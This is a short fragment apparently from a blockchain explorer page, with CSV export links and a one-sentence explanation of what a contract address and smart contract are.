[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.